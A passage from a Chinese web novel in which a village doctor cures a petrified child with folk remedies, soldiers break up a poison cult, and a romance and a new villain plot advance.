石肤散的古方,是他从一本孤本残页中找到的秘术,连山鬼都不知其中关窍! 这女人……到底是什么来头! 山鬼也听得头皮发麻。 他感觉眼前的女人是一个能看透一切的怪物。 而那些信徒和囚徒们,虽然听不懂什么地脉髓、铁胆石,但他们听懂了“残次品”三个字。 更听懂了那个孩子正在承受比死亡更恐怖的折磨。 药王阁下引以为傲的杰作,不仅有瑕疵,还如此歹毒。 “胡说八道!” 药王的声音第一次出现了慌乱。 “我是不是胡说,你心里最清楚。” 姜芷根本不给他辩驳的机会,直接转身,开始在山谷里寻找材料。 这一幕,让所有人愕然。 这山谷里,真能找到解药? 只见姜芷绕开了那些一看就毒气森森的植物,径直走到一处山羊圈旁。 四周草木枯黄,几只山羊正在无精打采地啃着干草。 姜芷看都没看羊,反而蹲下身,在一堆干硬的羊粪蛋子里挑挑拣拣。 山鬼的眼珠子都快瞪出来了。 他使劲揉了揉眼睛,凑到药王身边,嗓音发干。 “药…药王…她…她在捡羊粪?” 这操作,属实有点超出了在场人的认知。 他们青囊阁玩的是奇毒!秘药!杀人无形! 这倒好,直接上手掏羊粪? 这跟村头赤脚郎中开的土方子有什么区别? 格调呢? 神秘感呢? 碎了一地! 药王面具下的脸一阵青一阵白,他也完全没看懂。 但他必须强撑着场面。 “哼,装神弄鬼!” 姜芷可不管他们怎么想。 她捡了十几颗最干,最圆润饱满的羊粪蛋子,用一块破布包好。 然后,她又走到一处阴湿的石壁下,刮取一些墨绿色的青苔。 接着,她让人拿来一个烧水的破陶锅,锅底全是经年累月的黑灰。 她用手轻轻一抹,抓了一把锅底灰。 最后,她走到了祭坛边,看着火盆里烧得发红的木炭,从中夹了一块出来,直接扔进一碗清水里。 “刺啦——!” 一阵白汽蒸腾。 羊粪蛋子、青苔、锅底灰、泡了炭的黑水。 这就是她找来的全部“解药”。 现场,鸦雀无声。 别说青囊阁的人了。 就连那些被关在笼子里的囚徒,眼里的希望,都快被这盆“羊粪水”给浇灭了。 大妹子,我们知道你想救人,可你这……是不是太奔放了点? 咱们能稍微讲究一点吗? “三炷香,已经烧完一炷了。” 药王看她搞这些上不了台面的东西,心里又有了底气,出言催促。 “急什么。” 姜芷瞥了他一眼。 “治病救人,讲究君臣佐使,一步都不能错。” 她将锅底灰和青苔混合,捣成黏糊糊的黑泥。 又将那十几颗羊粪蛋子放进石臼里,三两下捣成粉末。 整个过程有条不紊,神情专注,仿佛她手里捣的不是羊粪,而是什么稀世的灵丹妙药。 她端着那碗黑泥,走到“石化童”身边,对旁边的护卫命令道。 “把他衣服扒了。” 护卫一愣,看向药王。 药王不耐烦地挥了挥手。 护卫这才上前,三下五除二将孩子身上破烂的衣物撕开,露出那具灰黑色的石头躯体。 姜芷二话不说,抓起一把黑泥,就往孩子身上糊。 从头到脚,涂得严严实实,密不透风,只留下一张脸。 那场面,活像是在给一尊小石像上色。 山鬼看得嘴角直抽抽。 这哪里是治病,这分明是埋汰人! 涂完黑泥,姜芷又端起那碗羊粪粉末,深吸一口气,猛地朝孩子脸上吹去! “噗——!” 一阵黄色的烟雾过后,孩子的脸上、鼻孔里、嘴巴里,全是羊粪面面儿。 “咳!咳咳!” 山鬼离得近,被呛得眼泪直流。 “你这是干什么!” “闭嘴!” 姜芷头也不回地呵斥,“再多说一句,这泥敷你脸上。” 山鬼瞬间噤声。 他发现,这个女人认真起来的气场,比药王还可怕。 做完这一切,姜芷借用了旁边的银针。 这一次,她没有直接下针。 而是拿起一块小石头,将银针的尾部对准孩子身上的一处穴位,然后用石头轻轻一敲! “叮!” 一声脆响,银针竟真的刺破了坚硬皮肤,没入半分! 所有人都看呆了。 还能这样? 拿针当钉子使? 姜芷没有停歇,“叮叮当当”的清脆敲击声连串响起。 她下针的速度极快,每一针都用石头敲进去,力道和深度也都控制得恰到好处。 很快,孩子的身上,就插满了几十根颤巍巍的银针。 而那些被银针刺破的皮肤下,开始缓缓渗出带着腥臭味的黑色粘液。 第二炷香,燃尽了。 山鬼换上了第三炷香。 姜芷额头上也见了细汗。 她终于停下手,端起那碗泡了木炭的黑水,捏开孩子的嘴巴,灌了下去。 做完这一切,她站起身,拍了拍手,淡淡地说。 “行了。” 什么? 这就行了? 众人面面相觑。 看着那个被糊了一身黑泥,插了一身银针。 灌了一肚子羊粪水和炭水的孩子。 怎么看都不像“行了”的样子。 惨不忍睹。 药王冷笑。 “故弄玄虚!我倒要看看,你怎么让他开口说话,站起来走路!” 时间一分一秒地过去。 祭坛上的孩子,依然一动不动。 囚徒们的心一点点沉了下去。 青囊阁的信徒,开始窃窃私语。 “我就说她是骗子吧!” “药王神威,岂是这种黄毛丫头能比的?” 就在第三炷香即将燃尽,只剩最后一星火光的瞬间。 “咔嚓——” 一声蛋壳碎裂的轻微动静,从孩子的身上传来。 所有人立刻屏住了呼吸,死死盯着他。 第95章 药王反悔,天降神兵一锅端 只见那孩子胸口处涂抹的黑泥,裂开了一道细微的缝隙。 紧接着,“咔嚓,咔嚓”,碎裂声越来越密集。 覆盖在孩子身上的黑泥,连带着那层灰黑色的石化皮肤,一块块剥落下来! 下面露出的,是带着血丝的粉红色新肉! “动了!动了!” 有人惊呼起来。 孩子的指尖,抽搐了一下。 随即,他缓缓睁开了眼皮。 “呃——” 一声低沉的闷哼,从干瘪的喉咙里传出。 他身上的石壳,在这声闷哼中加速剥落,露出了完整的干瘦身体。 他挣扎着,摇摇晃晃想要坐起来,可全身没有半点力气,又软倒下去,两眼茫然。 所有人都被眼前这一幕神迹,震得头皮发麻。 救活了! 一个被断定“死”了一年的人,真的被她从石头里“放”了出来! 这哪里还是医术! 这是仙法! “赢了!她赢了!” 笼子里的囚徒们最先反应过来,立即欢呼。 “放了我们!药王,你输了!快放了我们!” 姜芷长舒一口气,走到祭坛边缘,看着眼神阴沉的药王。 “我赢了。” “按照赌约,放人。” 药王的身躯剧烈颤抖,他死死盯着姜芷,面具下的呼吸尤为粗重。 输了…… 他竟然输了! 输给了一个名不见经传的黄毛丫头! 输给了他瞧不上的羊粪和锅底灰! 他一生的骄傲,在这一刻,被碾得粉碎! 突然,他笑了。 笑声嘶哑,从小变大,越来越疯狂,回荡在整个山谷。 “哈哈哈哈……哈哈哈哈!” “好!好一个绝世神医!” 他猛地抬起头,眼里露出凶光。 “我承认,你赢了!你的医术,远在我之上!也正因为如此……” “我,怎么可能放你走!” 话音未落,他猛地一挥手,厉声下令。 “来人!给我拿下她!” “我要把她炼成最完美的药人!我要敲开她的头骨,看看里面到底藏了多少通天的秘密!” 药王,当众反悔! 周围的护卫们瞬间醒悟,举起手中的武器。 从四面八方,带着狰狞的杀意朝姜芷包围过来! 囚徒们的欢呼声戛然而止。 山鬼脸色扭曲起来,他早就等着这一刻了。 赌约? 在这青囊阁的地盘,实力才是唯一的赌约! 刀光剑影,眼看就要将姜芷淹没。 悬崖上,陆向东眼底血红,怒吼道。 “行动!” 话音落下。 轰隆——!!! 一声惊天巨响,让整个山谷都狠狠地颤抖了一下! 谷口的位置,巨石崩塌,烟尘冲天,直接将唯一的出路堵得严严实实! 这动静,远比刚才药王炼毒的排场大了百倍。 李铁的声音,通过一个铁皮喇叭,带着绝对的威严,响彻山谷。 “里面的人听着!你们已经被包围了!” “放下武器!缴械不杀!” “重复一遍!放下武器!缴械不杀!” 这声音,对青囊阁众人来说,无异于晴天霹雳。 埋伏! 他们竟然被包围了。 山鬼的脸色惊疑,青囊阁经营多年的隐秘基地,怎么会变成了别人的瓮中之鳖? 药王也僵住了,他猛地回头,死死瞪着姜芷。 “是你!是你引他们来的!” 他终于全明白了! 这个女人从头到尾,都在把他当猴耍! 最开心的是囚徒们,一片欢呼。 “军人同志!我们在这里!我们是无辜的!” “救命啊!救命!” “打倒这些吃人的恶魔!” 局势在瞬间逆转! 药王怒极反笑,嘶哑又癫狂。 “好!好得很!你以为这样就能赢了?” “就算死!我也要拉着你这个活药典陪葬!” 他看出来了,这女人才是所有计划的核心! 只要抓住她,外面的军队投鼠忌器,他们就有翻盘的机会! 周围的护卫也反应过来,一个个目露凶光,再次朝姜芷围拢。 姜芷听到李铁的声音,悬着的心终于落定。 她站在原地,动都没动,冷冷地看着药王。 “想抓我?下辈子吧。” 话音刚落,她手腕一抖。 一包无色无味的药粉被她猛地撒了出去。 药粉在冷风里瞬间散开,效果立竿见影。 冲在最前面的几个护卫,上一秒还凶神恶煞,下一秒就像是被抽了筋骨的癞蛤蟆,一个个软倒在地。 他们没有昏迷,也没有中毒,只是单纯的痒。 从骨头缝里钻出来的痒,挠都找不到地方挠,恨不得把皮肉都撕开! “我的娘哎!痒死我了!” “别碰我!我身上有蚂蚁!好多蚂蚁在爬!” 一个壮汉抱着胳膊在地上疯狂打滚,没滚两下,就把自己扒了个精光。 在初冬的寒风里冻得青紫,却还在不停地扭动,发出野兽嚎叫。 场面一度不堪入目。 剩下的护卫们看着同伴的惨状,吓得魂飞魄散,哪还敢再上前一步? 这女人压根不是人! 她是会妖法的。 药王和山鬼看得眼皮狂跳。 “废物!一群废物!”山鬼气急败坏地骂道。 药王却看明白了,这不是妖法,这是比他的毒术更高明的用药手段! 一时间,他跟山鬼也不敢上前。 “走!从密道走!” 药王当机立断,拉着山鬼,转身就朝祭坛后方的山洞口冲去。 那里是他们最后的退路! 姜芷冷哼一声。 “想走?” “问过我没有?” 她不紧不慢地从袖子里摸出两个用油纸包着的小石球,看准两人奔跑的路线,屈指一弹! “嗖!嗖!” 两颗石球砸在药王和山鬼脚边的石头上。 啪! 应声而破。 一股极细的灰白色粉末炸开,形成两团不起眼的烟尘。 两人正拼命前冲,根本来不及反应,便吸入了那粉末。 下一刻,一股无法形容的奇痒,从他们的骨头缝里钻了出来! “啊——!” 山鬼惨叫一声,再也跑不动,直挺挺摔在地上,双手疯狂地撕扯着自己的皮肉。 药王也踉跄几步,一头栽倒,身体在地上剧烈地扭曲、翻滚和嘶吼。 “痒!痒死我了!” 跟前面那群人一样,这不是皮肤表层的痒,而是源自骨髓深处的酷刑,挠不到,躲不掉,每一秒都是煎熬。 “这是什么鬼东西!” 药王咬牙切齿地从地上撑起半个身子,眼神怨毒地盯着姜芷。 “你好毒的手段!” “彼此彼此。” 姜芷抱起手臂,看着他们在地上丑态百出地打滚。 “跟药王阁下把活人炼成石头的手段比起来,我这点小玩意儿,上不了台面。” 这话简直是在药王脸上左右开弓! 奇耻大辱! 被彻底激怒的药王和山鬼对视一眼,都看到了对方眼里的疯狂。 “先杀了她!” 山鬼忍着那钻心刺骨的痒,强撑着从地上爬起,从腰间抽出一把锋利的匕首,嘶吼着朝姜芷扑了过去。 “小贱人!老子今天非把你剐了做药引!” 药王也紧随其后,袖子里滑出一对淬了毒的铁爪,杀气腾腾。 就在山鬼的匕首即将捅到姜芷胸口的瞬间。 “砰!” 一声爆响,在山谷中炸开! 正扑向姜芷的山鬼,只觉得右臂一麻。 一股巨大的力量传来,手里的匕首再也握不住,“当啷”一声掉在地上。 第96章 姜神医心疼坏了 枪声毫无征兆地响起。 所有人都被这突兀的轰鸣震住。 地上翻滚的护卫们,身上的奇痒仿佛瞬间消失。 祭坛下狂热的信徒,神情凝固在脸上,呆若木鸡。 只有囚笼里那些绝望的人们,眼中爆发出惊人的光亮! “枪声!是军人同志!” 山鬼捂着鲜血淋漓的胳膊,惊骇地看向子弹射来的方向。 那个从天而降,浑身挟着煞气的男人,让他亡魂皆冒。 他还没来得及做出任何反应。 “砰!” 又是一声。 这一枪,精准地打穿了他的膝盖骨。 “啊——!” 山鬼再次发出一声惨叫,身体支撑不住,重重跪倒在地。 陆向东几个大步就跨到了姜芷身前,将她严严实实地护在身后。 “我来了。” “你有没有受伤?” 他的目光快速扫过她全身,确定她毫发无伤。 那颗悬着的心才终于落回肚子里。 姜芷摇了摇头。 看着他被岩石和荆棘划得破破烂烂的军装。 脸上也划开一道拇指长伤口,心里最柔软的那个地方,被狠狠撞了一下。 药王看见陆向东,浑身一颤。 他知道,一切都完了! 趁着所有人的注意力都在那对男女身上,他悄然后退,转身就朝着唯一的密道洞口,拼了命地逃窜! 他刚跑出没两步。 “砰!” 一颗子弹擦着他的头皮飞过,在洞口的岩壁上迸出刺眼的火星。 陆向东冰冷的声音,在他身后响起。 “再动一步,下一颗,打穿你的头。” 药王的身体彻底僵住。 “举手。” “转过来。” 药王满脸不甘,只能高高举起双手,一点点转过身。 陆向东大步上前,一把扯下他脸上的青铜面具。 面具下,是一张沟壑纵横、阴鸷刻薄的老脸。 随即,“咔哒”一声,冰冷的手铐锁住了这位不可一世的药王。 山鬼也被随后赶到的李铁和王柱给制服拷上。 青囊阁的两大头目,就此落网。 剩下的护卫和信徒见状,彻底慌了神,四散奔逃,妄图爬上陡峭的山壁。 可他们刚冲进山林。 “哎哟!” “啊!我的脚!” “救命!有陷阱!” 林子里,惨叫声此起彼伏。 有人被伪装巧妙的绊马索直接撂倒,摔得七荤八素。 有人一脚踩空,掉进铺满干草的陷阱深坑。 更有倒霉的,直接被从天而降的大网兜了个正着,像个肉粽子一样吊在半空中。 这都是陆向东的“幽灵”小队,早就为他们精心准备好的“惊喜”。 陆向东再次转身,回到姜芷身边。 “疼不疼?” 姜芷目光落在他手背那道还在渗血的口子上,轻声问。 陆向东的身体猛地一僵。 他是在枪林弹雨里打滚的男人,身上新伤旧疤数都数不清,何曾有人问过他疼不疼? 可姜芷这轻飘飘的三个字,让他心里又麻又痒。 他喉结滚动,声音比刚才还要哑上几分。 “不疼。” 这话说得,他自己都不信。 从几十米高的悬崖上,用近乎玩命的方式速降下来,身上被岩石划得跟破布条似的,怎么可能不疼。 姜芷没戳穿他拙劣的嘴硬,只是抓着他的手,不让他抽走。 她另一只手摸出个小瓷瓶,倒出些许洁白的药粉,撒在他手背最深的那道伤口上。 药粉触碰到伤口,带来一阵沁人的清凉,血很快就止住了。 “别动,还有脸。” 姜芷踮起脚尖,想去处理他脸颊上的划伤。 陆向东比她高出一个头还多。 几乎是下意识地,他立刻乖乖低下头,将自己的脸凑过去,任由她摆布,心里却像是灌了蜜。 李铁和王柱面面相觑,随即极有眼色地转身,去处理山谷内其他落网的俘虏。 姜芷处理完他脸上的伤,这才退后一步,看向满地狼藉。 药王和山鬼被反剪双手,跪在地上,满眼怨毒。 囚笼里的人,被战士们一个个解救出来,他们衣衫褴褛,瘦骨嶙峋,脸上挂满了泪水。 “谢谢军人同志!谢谢你们!” “呜呜呜……我终于出来了!我以为这辈子都出不去了!” 一个中年妇女被放出来后,疯了一样冲到那个被姜芷救活的“石化童”身边。 她一把将孩子紧紧抱在怀里,哭得撕心裂肺。 “我的儿啊!娘对不起你!娘对不起你啊!” 那孩子虽然还很虚弱,但已经恢复了神志。 他茫然地看着抱着自己痛哭的女人,干瘪的嘴唇动了动,发出极其微弱的声音。 “娘……” 这一声“娘”,让在场所有听到的人,心里都狠狠一酸。 姜芷的目光也柔和下来。 她走到那对母子身边蹲下,拿出一颗黑色的药丸递给那个女人。 “大姐,孩子刚醒,身体亏空得厉害。” “这颗药丸用温水化开,分三次喂给他,能固本培元。” 那女人抬头,泪眼婆娑地看着姜芷,“扑通”一声就跪下了,对着姜芷拼命磕头。 “谢谢神医!谢谢神医!您是我们母子俩的再生父母啊!” “快起来。”姜芷连忙扶起她,“我是医生,这是我该做的。” 她又仔细检查了一下孩子的身体状况,确认没有大碍后,才重新站起身。 这时,一支规模更大的部队终于赶到了山谷。 这是陆向东在进山前就发出的信号。 由南湖省军区指挥,就近调派过来负责收尾和处理的大部队。 领头的营级干部快步跑到陆向东面前,敬了个标准的军礼。 “报告陆团长!黑鹰团三营奉命前来支援!请指示!” 陆向东回了个礼,简单交代了情况。 随着大部队的进驻,整个山谷变得井然有序。 士兵们拉起警戒线,技术人员开始勘察搜证。 那些被捕的青囊阁成员,一个个垂头丧气地被押走。 药王和山鬼作为首犯,被单独押送。 路过姜芷身边时,药王用怨毒的眼神死死瞪着她。 “你别得意!青囊阁……不会放过你的!” 姜芷眼皮都没抬一下。 对一个手下败将,她连多给一个眼神都觉得浪费。 这种极致的轻蔑,比任何羞辱都让药王难受,他被士兵推搡着押走。 获救的囚徒们,在接受了初步的检查和安抚后,情绪也稳定了许多。 他们被安排着分批离开山谷,将被送往专门的医院。 每一个人离开前,都会走到姜芷面前,深深地鞠上一躬。 他们中的很多人,甚至不知道姜芷的名字。 只知道,是这个看起来年纪不大的女医生,给了他们重生的希望。 “谢谢医生!” “大恩大德,永世不忘!” 一句句发自肺腑的感谢,让旁边的战士们都为之动容。 陆向东走到姜芷身边,低声说:“这里差不多了,我派人先送你回去休息。” 姜芷摇了摇头,她的目光落在了那个被救出来的“石化童”身上。 孩子已经被军医们用担架抬着,准备送走,他的母亲紧紧跟在旁边。 “我再看看他。” 姜芷走了过去,那孩子的母亲一看到她,又要跪下,被她眼疾手快地扶住。 她俯下身,又给孩子搭了搭脉。 军医给他补充了一些糖分。 脉象虽然依旧微弱,但比之前有力了许多。 “他身体亏空太大,回去之后要慢慢调养,不能急着大补。” 姜芷细细叮嘱着。 “先从米汤开始,一点点增加食量。” “我之前给你的药丸,记得按时给他吃。” “哎!哎!我都记下了!神医,我都记下了!”女人连连点头,眼泪又流了下来。 “您的大恩,我们母子做牛做马都报答不完啊!” “好好照顾孩子,就是对我最好的报答。”姜芷温声安慰道。 看着担架被抬走远去,姜芷才终于松了口气。 她转过身,对陆向东说:“走吧。” 陆向东点了点头,亲自护送着她往谷外走。 第97章 陆团长又又又回来了 清晨的寒霜,给屋顶和光秃秃的树枝都裹上了一层银边。 护送姜芷回村的吉普车,碾过红星大队村口的薄冰,发出“嘎吱”脆响。 车刚停稳,一道身影就从不远处的屋檐下冲了过来。 是赵秀娥。 她身上裹着厚棉袄,脸冻得通红,眼睛里布满了红血丝,显然一夜没睡好。 昨夜,一个自称是陆向东部下的年轻士兵敲开门,告诉她姜芷要跟县领导去外地紧急会诊,让她别担心。 话是这么说,可女儿一夜未归,她哪里睡得着,天不亮就守在门口等着。 当看到从车上下来的不止是女儿,还有那个本该“回了部队”的陆向东时,赵秀娥彻底愣住了。 尤其是陆向东,一身军装破了好几道大口子,脸上那道划伤虽然用药处理过,但翻开的皮肉看着依旧触目惊心。 “小陆?你……你不是回部队了吗?这是咋了?”赵秀娥的声音都在发颤。 陆向东在刺骨的寒风里站得笔直,面对赵秀娥的关切,一向沉稳的脸上竟闪过一丝局促。 他还没想好怎么解释。 姜芷已经上前一步,自然地挽住母亲的胳膊。 “娘,陆团长他们部队正好在附近搞演习,碰上了。他这是演习的时候不小心弄伤的,不碍事。” “演习?” 赵秀娥半信半疑,但女儿平安回来是事实,她悬了一夜的心总算落下一半。 她心疼地打量着陆向东,“哎哟,这演习咋搞得跟真打仗一样,瞧瞧这衣服划的!快,快进屋暖和暖和!” 说着,她扭头就对女儿吩咐道。 “芷儿,快去给你陆团长倒碗热姜汤!” 这声“你陆团长”,叫得那叫一个顺口自然。 陆向东耳根瞬间就烫了起来,一声不吭地跟着母女俩进了院子。 屋里炉火正旺,暖意扑面而来。 姜芷给陆向东倒了杯加了料的热水,然后对还在絮叨的赵秀娥说。 “娘,我跟赵大叔说一声,让他带人继续去开荒,地里的活儿不能停。” 她一夜没睡,精神却还强撑着。 “行行行,你快去,家里我来招呼。” 赵秀娥看着陆向东,是越看越满意,恨不得他把这当自己家。 姜芷找到赵大山,简单交代了几句。 赵大山看着她眼下的倦色,又瞟了眼她家院里那个浑身煞气的军官,心里跟明镜似的,啥也没多问,只拍着胸脯保证。 “芷丫头你放心去歇着!开荒的事儿,有叔在,误不了!” 等姜芷交代完事情回到家,洗漱完毕,几乎是头一沾枕头就沉沉睡了过去。 实在是太累了。 陆向东没在屋里多待,他跟赵秀娥打了声招呼,就开车直奔县里。 药王和山鬼那两个老狐狸嘴硬得很,他要亲自去审。 …… 姜芷这一觉,直接睡到了日头偏西。 醒来时,窗外是橘红色的余晖,屋子里弥漫着浓郁的饭菜香气。 赵秀娥已经做好了饭,一碗喷香的白米饭,一盘金灿灿的炒鸡蛋,还有一碗炖得烂熟的鸡汤。 “醒了?快趁热吃。” 赵秀娥把饭菜端到她面前,眼里全是心疼。 姜芷看着母亲愈发红润的脸色和舒展的眉眼,心里一片暖洋洋的。 这大概就是她两辈子都渴望的,家的感觉。 吃完饭,天已经彻底黑透。 吉普车的两道光柱划破黑暗,停在了院门口。 陆向东回来了。 他带回了一身寒气,还有一脸凝重。 “怎么了?” 姜芷给他递过去一杯热水。 陆向东一口饮尽,暖意驱散了些许寒意,但眉头的结却没解开。 他沉声开口:“审过了。那个药王,不是青囊阁真正的头目。” 这个消息,在姜芷的意料之中。 “他只是个小头目?” “嗯。”陆向东点头,“按照他的说法,他只是青囊阁在南湖省片区的‘分舵主’。像他这样的人,全国还有好几个。” “青囊阁的真正核心,被称为‘药神宫’,行踪不定,极为神秘。” “就连药王,也只是每隔几年,才能见到一次从‘药神宫’来的使者。” 一个传承了几十年的邪恶组织,盘根错节,果然没那么容易被连根拔起。 姜芷对此却异常平静。 “没关系,以前我们对它一无所知。” “现在,至少我们撕开了一道口子,知道了他们的组织架构,知道了‘药神宫’的存在。” “只要他们还行动,就会有破绽。” “顺着藤,总能摸到瓜。” 她这副冷静淡然的样子,让陆向东心里那股没能一网打尽的憋闷,奇迹般地消散了。 似乎只要有她在,再难的局面,都有了破局的希望。 “这次,我是真的要走了。” 陆向东看着她,声音蓦地低沉下来。 “南湖省这边的据点被端,青囊阁短期内不会再有大动作。我要归队,向上级汇报所有情况,重新部署。” “好。”姜芷点了点头,眼帘低垂。 屋子里的气氛,瞬间安静下来,只有炉火燃烧时轻微的“噼啪”声。 陆向东看着姜芷恬静的侧脸,在暖黄的灯光下,美丽动人。 他的喉结滚动了一下,鼓起了勇气,再次把那个压在心底的话题提了出来。 “姜芷,我们结婚的事……” 姜芷倒水的动作,顿了一下。 她没有像以前那样直接回绝,也没有开口调侃。 脑海里,不受控制地浮现出那个从几十米高的悬崖上,不顾一切朝她飞奔而来的一幕。 这个浑身是伤,却依旧将她牢牢护在身后,对她说“我来了”的男人。 让她的心,又软又麻。 这个男人,嘴笨得要死,关心人都不会说句软话。 可他的行动,却比任何甜言蜜语都来得更震撼人心。 姜芷垂下眼帘,长长的睫毛在眼下投下一片阴影,掩去了眸中的万千情绪。 良久,她没有直接回答,反而抬起头,似笑非笑地看着他。 “那个从悬崖上跳下来救我的人,要是任务完成了不回来,我找谁算这笔救命的账?” 陆向东先是一愣,随即猛地抬起头。 他听懂了! 她这是……答应了?! 这个回答让他浑身的血液都沸腾起来,一时间连话都说不出来。 他攥紧了拳头,半天才吐出一个字。 “好!” 我会回来的,一定会! 姜芷看着他这副又傻又激动的样子,嘴角微微一笑。 陆向东强行平复着胸膛激动的心跳,开始说正事。 “为了你的安全,这次捣毁青囊阁据点的功劳,不会对外公布你的名字。官方的说法,是部队的一次秘密行动。” “无所谓。”姜芷对此毫不在意。 “但是,”陆向东话锋一转,目光灼灼地盯着她,“还有一部分青囊阁的余孽在逃,他们知道你的存在。我已经跟上级申请,在红星县建立一个常驻的排级驻兵点,有任何情况,他们可以在半小时内赶到你们村。” 姜芷笑了笑:“这是要把我们村,打造成军事堡垒的节奏?” 陆向东的表情严肃又认真。 “我只是在保护我的未婚妻。” 未婚妻三个字,他说得理直气壮,掷地有声。 姜芷的心,又漏跳了一拍。 这个男人,真是越来越会了! 第98章 部队送来五杆枪,把全村腰杆都打直了 第二天,陆向东走了。 红星大队的日子,又恢复了往日的平静。 姜芷送走陆向东,返回自家小院时。 赵秀娥正往炉子里添着蜂窝煤,火焰“呼”地一下窜高,将屋子映得暖烘烘的。 “芷儿,小陆他……这一走,怕是又要好久见不着了。” 赵秀娥叹了口气,有种丈母娘看女婿的认可和不舍。 姜芷给母亲递过去一杯温水,坐在她身边,声音很轻。 “娘,他有他的国,我们有我们的家。他去守国,我们把家守好。” 她看着母亲鬓边新添的几缕银丝,心口微软。 “等咱们的新房建好,药田成了气候,日子红火起来,他下次回来,看到的就是一个让他安心的家了。” 赵秀娥被女儿描绘的景象暖了心,紧锁的眉头松开,脸上终于有了笑意。 “对,咱们娘俩把日子过好,不等不靠!” …… 陆向东的人是走了,但他留下的一颗定心丸。 几天后,以极其震撼的方式,在红星大队炸响了。 一辆绿色军用卡车,开到大队部门口。 车门打开,跳下来几个身板笔挺的战士。 正在开社员大会的赵大山接到通知,一路小跑过来,激动得手都不知道该往哪儿放。 几个大木箱子从车上卸下,当着全体民兵的面,撬棍嵌入,箱盖“嘎吱”一声被掀开。 阳光照进去,一层油布下,五支崭新的五六式半自动步枪,静静躺在那里。 枪身闪烁着钢铁独有的幽冷光泽,每一个部件都充满了致命的力量感。 那不是民兵队里那些磨平了膛线的老旧汉阳造,更不是只能打鸟的土猎枪。 这是真正的,属于部队的杀器! “轰!” 围观的民兵们脑子里像是炸开一个响雷。 民兵队长赵铁柱的眼睛瞬间就红了。 他伸出手,想去摸,又不敢,手指在离枪身一寸远的地方剧烈颤抖。 “我的天老爷……这,这枪……” 带队的排长,一个皮肤黝黑的汉子,眼神扫过在场每一个人,沉声开口。 “这是陆团长为红星大队申请的安保升级。他命令,红星大队,尤其是姜芷同志一家的安全,必须是最高戒备等级!” 赵大山激动得脸膛涨红,他猛地转身,面向所有社员,扯着嗓子吼道: “都听见了没有!这是陆团长的信任!更是芷丫头挣来的天大脸面!” “从今天起,咱们民兵队,就是芷丫头的亲卫队!” “谁敢在她家院墙外多晃悠一步,谁敢背后嚼舌根,不用等公社来抓,我赵大山第一个打断他的腿!” “是!” 几十个民兵齐声怒吼,吼声把树上的积雪都震落下来。 有了这五杆枪,整个红星大队的腰杆,都挺得笔直! 这事儿很快就传遍了全村。 村民们看姜芷家的眼神,除了敬畏,就是羡慕。 “瞧见没,这才叫本事!人走了,天大的面子留下了!” “可不是!陆团长这是把咱们芷丫头当眼珠子护着呢!” 躲在墙角偷听的王桂香,听到这些议论,一张脸瞬间没了血色,牙齿咬得咯咯作响。 嫉妒?怨恨? 不。 这会儿,她是所有的心气都没了。 以后再去招惹姜芷,说不定会没命! 她看着身边那个因为二十块钱骗局而变得灰头土脸的女儿姜巧巧,心里最后一丝翻盘的念想,被那五杆冰冷的步枪,彻底击碎。 同样是姜家的女儿,一个在云端之上,光芒万丈,受军队庇护。 另一个,却早已烂在了泥里。 …… 村里的风云变幻,姜芷并未太过在意。 她所有的心神,都投入到了“鬼见愁”的改造大业中。 上百名社员,在双倍工分和粮食补助的强力驱动下,爆发出惊人的能量。 山坡上,每天号子声、锄头与石头碰撞的铿锵声,响彻天际。 “老张家的,你那锄头没吃饭吗?学学芷丫头教的,用腰劲儿!” “你懂个啥!我这就是跟芷丫头学的,匀速发力,保持续航!” 姜芷穿着一身方便活动的旧棉袄,头上包着蓝布头巾。 正指挥几个壮劳力,用一根粗长的木棍作杠杆,轻松撬动了一块千斤巨岩。 她展现出的,早已不止是医术。 村民们对她的崇拜,已经接近盲从。 “看见没,芷丫头动动脑子,比咱们十头牛的力气都大!” “那可不!这山啊,在咱们手里是鬼见愁,到了芷丫头手里,就是聚宝盆!” 日子在忙碌与希望中飞逝。 半个多月后,昔日乱石丛生的“鬼见愁”,已然脱胎换骨,化作一层层规整的梯田。 掺了河泥与农家肥的黑土,散发着肥沃的生机。 姜芷陆续播种下好几批药材种子。 而就在红星大队欣欣向荣时。 千里之外,西部边陲,一片被瘴气与云雾终年笼罩的原始山林。 一座与山体完全融为一体的巨型石殿内,气氛阴冷的能冻死人。 殿内没有灯火,只有墙壁上镶嵌的磷光矿石,散发出幽幽绿光,将十几道或坐或站的人影,映照得如同地府鬼魅。 他们的气息,与这座石殿一样,古老、阴森、且非人。 端坐在最上首黑石王座上的,是一个被浓郁黑暗包裹,看不清面容的影子。 他缓缓开口,声音干哑。 “南湖,折了。” 下方,一个穿着中山装,戴着金丝眼镜的文雅中年人,闻言躬身。 “回禀玄主,南湖分舵已被军方连根拔起。‘药王’与‘山鬼’,连同五十七名核心成员,无一生还。” “消息封锁得很好,官方口径是,一次边境扫毒行动。” “扫毒?” 一个身形魁梧的壮汉嗤笑,“就凭军方那群蠢货,什么时候有这个脑子?” “药王那老东西是废物,可他经营的蛇谷,不是谁都能闯的。” 金丝眼镜男推了推眼镜,声音平稳。 “铁臂说得对。根据外围棋子传回的残缺情报拼凑,这次行动的真正核心,并非军方。” “是一个女人。” “一个叫姜芷的,二十岁的赤脚医生。” “姜芷?”王座上的黑影玄主,语调出现些微波动。 金丝眼镜男立刻呈上一份资料。 “此女出身乡野,医毒双绝。药王的‘腐肌降’,‘石肤散’,都被她轻易破解。” “她甚至反制了药王,以医入毒,手段匪夷所思,闻所未闻。” “更关键的是,她身边一直有一个军方背景的男人保护,他是这次行动的现场总指挥。” 殿内一片寂静。 一个二十岁的乡下丫头,凭一己之力,撬翻了青囊阁经营十几年的分舵? 这听起来,比神话故事还要荒诞! 铁塔壮汉“铁臂”一拳砸在身前的石桌上,石屑纷飞,怒吼道:“一个黄毛丫头!我去南湖,把她的头拧下来,祭奠药王!” “愚蠢。” 玄主的声音骤然变冷。 “一个能让军方顶尖战力心甘情愿充当护卫的女人,会是普通人?” “你现在去,不过是自投罗网,给我们惹来更大的麻烦!” 铁臂被骂得缩了缩脖子,高大的身躯忍不住一颤,瞬间收声。 玄主沉默了。 整个大殿,只有那些磷光矿石的光芒,在无声闪烁。 许久,他才再次开口。 “传我玄鸟令。” “所有分舵,即刻转入蛰伏期,断绝一切不必要的联系,清除所有可能暴露的痕迹。” “这个姜芷,是棋盘外的变数。在没摸清她的底细和背后那股力量之前,谁也不准动她。” 金丝眼镜男躬身:“那南湖的血仇……” “血债,自然要用血来偿。”玄主的声音里,透出一股寒意。 “但,不是现在。” 他从王座上缓缓起身,走到大殿中央。 